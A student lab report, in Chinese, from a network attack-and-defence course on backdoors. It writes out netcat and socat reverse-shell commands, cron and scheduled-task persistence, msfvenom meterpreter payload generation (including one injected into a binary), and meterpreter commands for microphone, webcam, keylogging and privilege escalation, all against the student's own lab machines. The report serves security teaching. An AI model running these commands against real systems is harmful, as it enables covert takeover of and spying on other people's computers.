20222325 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.回答问题
1.例举你能想到的一个后门进入到你系统中的可能方式?
利用软件中的编程错误、配置不当或安全更新未及时应用而产生的漏洞来植入后门。
2.例举你知道的后门如何启动起来(win及linux)的方式?
Window:直接点击后门程序、在Windows任务计划程序中创建定时任务、通过注册表启动。
Linux:crontab计划任务、使用恶意程序替换常用程序、脚本中添加恶意代码。
3.Meterpreter有哪些给你映像深刻的功能?
其所包含的远程控制和跨平台支持。
4.如何发现自己有系统有没有被安装后门?
电脑管家进行安全检测、查看系统的进程和服务、查看系统日志、检查网络连接的端口来检查是否被安装后门。
3.实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
1.获取主机和虚拟机的ip地址
主机命令行中输入ipconfig,虚拟机命令行中输入ifconfig,得到两者ip地址。
主机ip为172.20.10.3
虚拟机ip为172.20.10.9
2.主机获取shell
主机输入ncat -lp 2325
,l表示监听,p表示端口,即执行nact.exe文件,并监听2325端口。
虚拟机输入 nc 172.20.10.3 2325 -e /bin/sh
,nc表示netcat,后面为要连接的主机ip、端口、连接成功后运行的程序。
在主机输入ls
,可以看到虚拟机中文件即成功获取shell。
3.设置cron,启动定时任务。
在主机输入echo“* * * * * *echo“20222325”>/home/tongjiaxuan/20222325.txt”/var/spool/cron/crontabs/root
,再输入crontab -l
。
此时虚拟机对应目录中出现20222325.txt文件,cron启动任务成功。
2.使用socat获取主机操作Shell, 任务计划启动。
1.在主机下载windows系统的socat,在socat目录打开终端,并输入.\socat.exe tcp-listen:2325 exec:cmd.exe,pty,stderr
运行socat程序,绑定到端口2325,并把stderr重定向到stdout
,在虚拟机终端输入socat - tcp:172.20.10.3:2325
以连接远程终端,出现windows标志,即成功连接。
2.编写c语言代码,编译并运行后将生成的tjx.exe放入socat目录中。
3.在虚拟机终端输入schtasks /create /sc minute /mo 1 /tn "20222325" /tr "D:\Program Files\socat\socat-1.7.3.2-1-x86_64\tjx.exe"
,使tjx.exe每一分钟执行一次。
4.在计算机管理-任务计划程序-活动任务中查看,20222325正在运行,说明任务计划启动成功。
3.使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。
1.关闭主机防火墙和实时保护。
2.首先在kali上生成可执行文件20222325tjx_backdoor.exe。(在此步骤前因为排查错误,将虚拟机网关设为了两个,一个为NAT、一个为仅主机模式,因此虚拟机ip变为192.168.174.133)
3.主机下载ncat并在ncat目录打开终端输入.\ncat -lv 2325 > 20222325tjx_backdoor.exe
,等待接收文件;在虚拟机终端输入nc 172.20.10.3 2325 < 20222325tjx_backdoor.exe
用ncat将文件传给主机。
4.在nact目录下出现20222325tjx_backdoor.exe说明后门文件成功传递。
5.虚拟机kali通过msf控制台获取win的shell。
虚拟机终端输入msfconsole
进入msf控制台
再输入
use exploit/multi/handler #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.174.133 #kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2325 #设置端口,需要和之前生成后门程序时设置的端口相同
show options #显示参数配置情况,同时也是检查参数是否正确设置的必要步骤
exploit #开启监听,同时在主机中运行exe文件
双击20222325tjx_backdoor.exe,运行后门。
输入ls查看到:
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。
record_mic #截获音频
screenshot #截屏
webcam_snap #打开摄像头拍照
keyscan_start #开始记录击键过程
keyscan_dump #读取击键记录
keyscan_stop #结束记录击键过程
获取结果如下:(击键结果已经在命令行中显示)
2.进行提权。
gettuid #查看当前用户
getsystem #提权
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.在虚拟机终端中输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.174.133 LPORT=2325 -x /home/tongjiaxuan/Downlods/pwn1 -f elf > pwn_20222325
,在桌面生成一个pwn_20222325文件。此处/home/tongjiaxuan/Downlods/pwn1为pwn1文件的路径,LHOST后面是虚拟机的ip,LPORT后门是虚拟机对应端口。
2.
输入
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.174.133
set LPORT 2325
exploit
开始监听。
3.打开新终端,执行生成的pwn_202222325文件。
4.返回上一个终端,输入ls查看到文件。
4.问题及解决方案
- 问题1:执行netcat.exe时,电脑管家显示其为病毒。
- 问题1解决方案:直接允许运行。
- 问题2:在运行socat.exe时,socat.exe无法识别。
- 问题2解决方案:在
socat.exe tcp-listen:2325 exec:cmd.exe,pty,stderr
前加入.\
。 - 问题3:在实验室主机连接的个人手机热点,回到宿舍后连接宿舍wifi进行实验,主机与虚拟机ping不通。
- 问题3解决方案:用主机连接个人手机热点,成功连通。
- 问题4:双击、命令行、以管理员身份都不能打开后门文件。
- 问题4解决方案:进入“管理员:命令提示符”,在其中操作,成功打开后门。
- 问题5:ifconfig之后显示eth0,但是没有显示“inet/地址/广播/掩码/.
- 问题5解决方案:先用sudo dhclient eth0更新IP地址,然后运行sudo ifconfig eth0。
- 问题6:在记录击键过程时报错,解决报错后不能获取到击键内容。
- 问题6解决方案:在每次开始获取击键过程后输入keyscan_stop停止获取击键;在击键时鼠标点击主机而不能在虚拟机上击键,因为要获取的是主机的击键。
- 问题7:在进行提权时报错。
- 问题7解决方案:以管理员运行命令提示符,重新进行上述步骤,在此命令提示符中运行后门程序。
5.学习感悟、思考等
通过本次实验,我学会了设置后门进行攻击的相关内容,同时也碰到了很多问题,但通过查看相关视频资料和在网上查询资料在一定程度上降低了实验的难度,最终解决的出现的问题,实现了所以实验要求。整个实验过程加深了我对相关指令的理解,并且我对于实施后门攻击等操作的步骤从原理上有了更深入的认识。此外,本次实验还让我学到了许多免杀技术,包括使用msfvenom生成恶意代码、使用socat绕过杀软检测等。通过关闭防火墙实现实验结果也让我切身感受到了防火墙的必要性。